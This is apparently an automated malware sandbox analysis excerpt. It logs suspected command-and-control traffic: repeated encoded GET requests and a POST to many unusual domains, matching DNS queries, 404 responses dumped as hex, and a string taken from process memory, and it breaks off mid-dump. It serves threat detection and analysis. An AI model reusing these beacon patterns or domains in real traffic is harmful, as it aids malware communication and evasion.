Source: global traffic	HTTP traffic detected: GET /2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU+Jll5yAiLW0FDFh5TQk8se9xDs41F6MnKw38IdfsNEr1xUCYc9892yoQG1SbMmVg8E+Wd0quaGmXjqthTWfwo=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.abuali-contracting.artConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /okq4/?dX7=sns4Fhmpql&6v1=2WxEQU4T/BL7ecebjCV6s19C2xUJUglk1Ap4rsCKgUGRI3XzxiL9bWjwEKWZc8F/Hodpf6FZ6O7fHzMchx0kX3zpeODOVW01uVkDQGLdyUNjyhRqakBgKzQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.webeuz.buzzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /mgmi/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89+Q9HWtEdC0uPPQ0EqtqMYT9SXBL4zQcJgu2aXGmMqdRF79v+yA2z9dUemD6ztacbQStu6Eafl8EkpMryg=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.onlineblikje.onlineConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /fqdb/?6v1=T34tz0P8PAskT6vIpcarzAarHDG1JHkC0CsiRe7uRjFzz28hmre5hzttCD4qXKBvMglrBCYw2+UNeo/6UDAZSc7i7BND3njplF8JWpgHbE1S/jexEjKON+w=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.cotxot.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /3j78/?6v1=WGwtlgua1mFE8w70y2D40WjEmJ/2naD3+yS53ypxyLwYVAJFjddGfrPEgp8g5wfMnqQJPb28rx54q6h4cM7r9HJG6TCboJQlkTUiARap458Q2p/9rezvUuo=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.happyblacksheep.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /h8u2/?6v1=vr2ab8FMPsEkiu8K6sYiESJD6PZyfA8o0uxH3zipi2Nl7N6SwAU2trqX6+EyUEt1RJNxU6mfX1uWkDgrCUqdmsZzuUbFrv0xNqeacTwq7J8/lRZu9qsB1Iw=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.airrelax.funConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /c3wv/?6v1=MeRYN0L9lvmsfuBVfJXwKI4otpUPbIkQuRQIC1j2X6eiJk3nQUhhohw7tTSD+TojEiP9+d6h1TS1cF8pCP5md9k0BFqQNorbrV7j46WWE8JNFz9VDX2D0pc=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.bdipjg.asiaConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /1c4z/?6v1=HOdUBM13o6qh/Put2qkCQWKcQS725qJuXwbhpRVTktrbAgiFAf3zM0waT5CdDpH3DywdT35OfcvI2v6miecF+h2Vz1+d56NK0tslEmN/v0UgevrB0PeN23Y=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.energy-market.netConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /kn4j/?6v1=vpCrMCAdfu65HIAf09CQR4tGFi3IrrdSSSqQznfgwOIFTGDRF6xAYU038HlDgieoMTBYH8MmEH7P6rywcgf5Sjq+nVZ5KqEIMUiYHuljCto3tYTrG+wqg/s=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.chrisflynn.clickConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /eytd/?6v1=HfH3fAnfKZGF/amZMLxCjpfWCoile0ydxd3oAy6RYTP1PcCmQRMTgtKdHdRNZvI4e9+yTQ2W+3b/bCc+d8XewNEOJ/eayw6MMSxss8GOZI7n5HB8MD6QiAc=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.wiretap.digitalConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /42yt/?6v1=n1zukyJZNHWDLXKOvk85D7UZRdwlYZfhT0P9Gf17u78VFOCb/Y5WDzLXzQhRzDWO3THn0MOhhpVdUjSXqlWaNwXtG0/8roYrw0xdx31DJh2k57wX/K0pFIs=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.notepad.mobiConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /j89h/?dX7=sns4Fhmpql&6v1=t39zGyvYmujPNlbc44MTbwagsnz+runAgyc0uTb+2KFfpU4FdXsWzq5grOKfcMMqBbgb86jYKVfh1bYb1KKDox1al7BagiI6ozFTdi6nFGMEe7mc+uR20u4= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.online-dating28.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /trcp/?6v1=bKfAr7sv5IY1ptzmDV5wUo2iDSqe67rU75bfeenosgeuvdguL6fX86qCr0wAy4YR9tZZ5z54OoByFHZJe28aKbClFeJ1UE5LefnWbAwiEwjNEYmIQtqZ0uk=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.cptsdisme.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /5odm/?6v1=+4eRc86t7Z4Lu1vSo5s4ibVe9c8AVZg+6YEBK/5/ZFfdoS/+nWlR7TwfbXGowvaIyJWSRQjGhjbomPG8LKSdCCcZhRRaoLZ0okxxUHTaZ+JgWvWP13maiBg=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.uky09q.vipConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /agok/?dX7=sns4Fhmpql&6v1=Ts5NbAkq3brUD6k3jTHyJ+UO8CieYDwmNk61ekvRrCQjvt17+TUO2Vz326ytVI14CQTLXaKHrat2tauAamf9k3ZiNLAZXRVdeSDhlCS5Bdnbn/cRfbAtsEM= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.jcblessings.shopConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU+Jll5yAiLW0FDFh5TQk8se9xDs41F6MnKw38IdfsNEr1xUCYc9892yoQG1SbMmVg8E+Wd0quaGmXjqthTWfwo=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.abuali-contracting.artConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /okq4/?dX7=sns4Fhmpql&6v1=2WxEQU4T/BL7ecebjCV6s19C2xUJUglk1Ap4rsCKgUGRI3XzxiL9bWjwEKWZc8F/Hodpf6FZ6O7fHzMchx0kX3zpeODOVW01uVkDQGLdyUNjyhRqakBgKzQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.webeuz.buzzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Source: global traffic	HTTP traffic detected: GET /mgmi/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89+Q9HWtEdC0uPPQ0EqtqMYT9SXBL4zQcJgu2aXGmMqdRF79v+yA2z9dUemD6ztacbQStu6Eafl8EkpMryg=&dX7=sns4Fhmpql HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.onlineblikje.onlineConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)

Source: raserver.exe, 00000004.00000002.20112227965.0000000007D5A000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: policy":"OnlyExposeWidevine","domain":"bluecurvetv.shaw.ca"},{"applied_policy":"OnlyExposeWidevine","domain":"helix.videotron.com"},{"applied_policy":"OnlyExposeWidevine","domain":"criterionchannel.com"},{"applied_policy":"OnlyExposeWidevine","domain":"ntathome.com"},{"applied_policy":"OnlyExposeWidevine","domain":"wowpresentsplus.com"},{"applied_policy":"OnlyExposeWidevine","domain":"vhx.tv"},{"applied_policy":"OnlyExposePlayReady","domain":"hulu.com"},{"applied_policy":"OnlyExposeWidevine","domain":"app.quickhelp.com"},{"applied_policy":"OnlyExposeWidevine","domain":"DishAnywhere.com"}],"policies":[{"name":"OnlyExposePlayReady","type":"Playready"},{"name":"OnlyExposeWidevine","type":"Widevine"}],"version":1},"codec_override":{"applications":[{"applied_policy":"HideMfHevcCodec","domain":"tv.apple.com"},{"applied_policy":"HideMfHevcCodec","domain":"nintendo.com"}],"policies":[{"name":"HideMfHevcCodec","type":"MfHevcCodec"}],"version":1},"content_filter_on_off_switch":{"applications":[{"applied_policy":"ContentFilter","domain":"microsoft.com"}],"policies":[{"name":"ContentFilter"}],"version":1},"ecp_override":{"applications":[{"applied_policy":"PlainTextURLsOnly","domain":"hangouts.google.com"},{"applied_policy":"PlainTextURLsOnly","domain":"chat.google.com"},{"applied_policy":"PlainTextURLsOnly","domain":"slack.com"},{"applied_policy":"PlainTextURLsOnly","domain":"facebook.com"},{"applied_policy":"PlainTextURLsOnly","domain":"wechat.com"},{"applied_policy":"PlainTextURLsOnly","domain":"weixin.com"},{"applied_policy":"PlainTextURLsOnly","domain":"qq.com"},{"applied_policy":"PlainTextURLsOnly","domain":"webex.com"},{"applied_policy":"PlainTextURLsOnly","domain":"wordpress.com"},{"applied_policy":"PlainTextURLsOnly","domain":"twitter.com"},{"applied_policy":"PlainTextURLsOnly","domain":"discord.com"}],"policies":[{"name":"PlainTextURLsOnly","type":"ECPOnlyPlaintextURLs"}],"version":1},"idl_override":{"applications":[{"applied_policy":"ExposePrefixedEME","domain":"netflix.com"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.co.jp"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.co.uk"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.com"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.de"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.es"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.fr"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.in"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.it"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.ca"},{"applied_policy":"ExposePrefixedEME","domain":"music.amazon.com.br"},{"applied_policy":"ExposePrefixedEME","domain":"sling.com"},{"applied_policy":"ExposePrefixedEME","domain":"openidconnectweb.azurewebsites.net"}],"policies":[{"name":"ExposePrefixedEME","type":"PrefixedEme"}],"version":1},"media_foundation_override":{"applications":[{"applied_policy":"OptIn","domain":"youtube.com","pat

Source: global traffic	DNS traffic detected: DNS query: www.online-dating28.xyz
Source: global traffic	DNS traffic detected: DNS query: www.yun08ps.top
Source: global traffic	DNS traffic detected: DNS query: www.cptsdisme.info
Source: global traffic	DNS traffic detected: DNS query: www.uky09q.vip
Source: global traffic	DNS traffic detected: DNS query: www.jcblessings.shop
Source: global traffic	DNS traffic detected: DNS query: www.abuali-contracting.art
Source: global traffic	DNS traffic detected: DNS query: www.webeuz.buzz
Source: global traffic	DNS traffic detected: DNS query: www.onlineblikje.online
Source: global traffic	DNS traffic detected: DNS query: www.cotxot.info
Source: global traffic	DNS traffic detected: DNS query: www.happyblacksheep.xyz
Source: global traffic	DNS traffic detected: DNS query: www.airrelax.fun
Source: global traffic	DNS traffic detected: DNS query: www.bdipjg.asia
Source: global traffic	DNS traffic detected: DNS query: www.energy-market.net
Source: global traffic	DNS traffic detected: DNS query: www.chrisflynn.click
Source: global traffic	DNS traffic detected: DNS query: www.wiretap.digital
Source: global traffic	DNS traffic detected: DNS query: www.notepad.mobi

Source: unknown

HTTP traffic detected: POST /trcp/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enAccept-Encoding: gzip, deflateHost: www.cptsdisme.infoOrigin: http://www.cptsdisme.infoReferer: http://www.cptsdisme.info/trcp/Cache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 200Connection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)Data Raw: 36 76 31 3d 57 49 33 67 6f 4d 77 4f 31 49 6f 58 6e 4f 37 75 54 55 77 41 52 2b 48 4e 50 53 61 48 6e 35 7a 71 35 4e 50 47 48 73 6a 65 68 30 66 76 77 61 6f 72 48 72 72 78 35 61 72 33 36 47 35 48 32 66 64 76 37 4e 49 6e 75 54 31 43 45 64 31 50 54 6d 5a 4c 4a 79 4d 62 65 2b 4b 4a 4a 4e 73 37 53 33 46 6e 41 73 61 4e 62 79 56 2f 47 78 2f 59 64 36 6d 78 63 74 4c 47 67 50 35 79 73 46 6f 47 35 55 61 54 47 65 61 72 63 38 37 38 74 33 75 6a 33 5a 55 74 56 57 4a 2f 67 73 70 74 4d 6f 59 74 31 58 53 31 64 79 63 30 31 30 54 6d 36 73 61 66 4c 45 50 6e 79 58 74 43 39 49 55 39 6b 6c 68 46 43 49 36 75 59 67 3d 3d Data Ascii: 6v1=WI3goMwO1IoXnO7uTUwAR+HNPSaHn5zq5NPGHsjeh0fvwaorHrrx5ar36G5H2fdv7NInuT1CEd1PTmZLJyMbe+KJJNs7S3FnAsaNbyV/Gx/Yd6mxctLGgP5ysFoG5UaTGearc878t3uj3ZUtVWJ/gsptMoYt1XS1dyc010Tm6safLEPnyXtC9IU9klhFCI6uYg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:22:52 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24156Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 bf 43 46 4e 8a 23 76 22 7f b1 e4 96 d7 0b c0 62 2f 16 81 ef d8 4b 3f 9c 8f 03 f7 bd a7 71 38 07 7c 81 1d c7 f0 8c 88 07 76 cf bd 99 3d c0 ba 6f dc 0c be 4b 8d 5d 2d 07 87 03 26 f9 27 e3 27 63 06 22 84 d1 d9 60 34 f8 ee 59 64 2f ce 07 87 3f 07 60 6c 04 20 3f 88 a0 3b 9c 68 35 9b 3c f2 e3 25 c2 f8 6e 09 81 3d 59 d9 81 cf 23 ee c8 76 96 fe fc 4c b0 a3 e5 93 b1 1c 5d cf 9f 8c df 9a 64 f5 03 56 df 5f 7a 33 44 f5 51 e0 cd 80 f3 52 63 58 fe 09 3c df a0 99 b7 82 bc ce 22 8c 7d 14 c7 e0 50 1a 0d 50 d4 80 e1 c9 4a d4 65 03 7f ab 2a fe 56 24 2a d1 a9 c4 a6 12 25 bf 96 ad 84 c2 5e 6d 03 ec 1c e4 f9 49 5f f8 44 24 19 c5 b7 a3 9d 58 af a2 2b 0a 40 2e 09 40 b1 0b ec 4a 1c dd 68 f4 db 24 ae 9d c2 f5 14 f1 44 60 3d e1 2a ee cd 59 81 a7 2f 8a 5c 7d 16 9d d9 73 ff 4b 52 d2 4d 3a 35 2c d7 2b f6 25 f5 96 6c 32 8a 89 15 c5 ca bb 57 b5 b9 c2 8d 5a e0 54 2e 68 82 99 3f 65 25 b2 0d ad b8 1e b3 2f 12 20 35 a6 ea 79 d5 a4 92 c6 e5 ed cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e3 04 d4 2c a8 a3 91 a3 13 9d b6 ca 46 a1 5c ef 53 ad c6 a6 62 b4 80 16 6d a0 48 52 22 bb 02 d9 4d ed 28 05 14 5a 81 bc 56 c2 9c 9c 3c 45 29 08 b4 24 93 69 b1 b6 59 13 a2 5a 47 eb 51 ed 02 ef 9b d4 4e 5a f5 aa cc 27 38 98 92 29 72 5b db 05 19 30 29 cb 6e a1 b6 5a d7 97 a2 64 b5 1a 3e f6 38 21 bc d0 e5 2a Data Ascii: kw Y}PH(dml,l[Hte0_;;KFD*qEHDFFDFDF$2?sx-EMAxvE\|8g
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:22:55 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24156Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 bf 43 46 4e 8a 23 76 22 7f b1 e4 96 d7 0b c0 62 2f 16 81 ef d8 4b 3f 9c 8f 03 f7 bd a7 71 38 07 7c 81 1d c7 f0 8c 88 07 76 cf bd 99 3d c0 ba 6f dc 0c be 4b 8d 5d 2d 07 87 03 26 f9 27 e3 27 63 06 22 84 d1 d9 60 34 f8 ee 59 64 2f ce 07 87 3f 07 60 6c 04 20 3f 88 a0 3b 9c 68 35 9b 3c f2 e3 25 c2 f8 6e 09 81 3d 59 d9 81 cf 23 ee c8 76 96 fe fc 4c b0 a3 e5 93 b1 1c 5d cf 9f 8c df 9a 64 f5 03 56 df 5f 7a 33 44 f5 51 e0 cd 80 f3 52 63 58 fe 09 3c df a0 99 b7 82 bc ce 22 8c 7d 14 c7 e0 50 1a 0d 50 d4 80 e1 c9 4a d4 65 03 7f ab 2a fe 56 24 2a d1 a9 c4 a6 12 25 bf 96 ad 84 c2 5e 6d 03 ec 1c e4 f9 49 5f f8 44 24 19 c5 b7 a3 9d 58 af a2 2b 0a 40 2e 09 40 b1 0b ec 4a 1c dd 68 f4 db 24 ae 9d c2 f5 14 f1 44 60 3d e1 2a ee cd 59 81 a7 2f 8a 5c 7d 16 9d d9 73 ff 4b 52 d2 4d 3a 35 2c d7 2b f6 25 f5 96 6c 32 8a 89 15 c5 ca bb 57 b5 b9 c2 8d 5a e0 54 2e 68 82 99 3f 65 25 b2 0d ad b8 1e b3 2f 12 20 35 a6 ea 79 d5 a4 92 c6 e5 ed cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e3 04 d4 2c a8 a3 91 a3 13 9d b6 ca 46 a1 5c ef 53 ad c6 a6 62 b4 80 16 6d a0 48 52 22 bb 02 d9 4d ed 28 05 14 5a 81 bc 56 c2 9c 9c 3c 45 29 08 b4 24 93 69 b1 b6 59 13 a2 5a 47 eb 51 ed 02 ef 9b d4 4e 5a f5 aa cc 27 38 98 92 29 72 5b db 05 19 30 29 cb 6e a1 b6 5a d7 97 a2 64 b5 1a 3e f6 38 21 bc d0 e5 2a Data Ascii: kw Y}PH(dml,l[Hte0_;;KFD*qEHDFFDFDF$2?sx-EMAxvE\|8g
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:22:57 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24156Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e 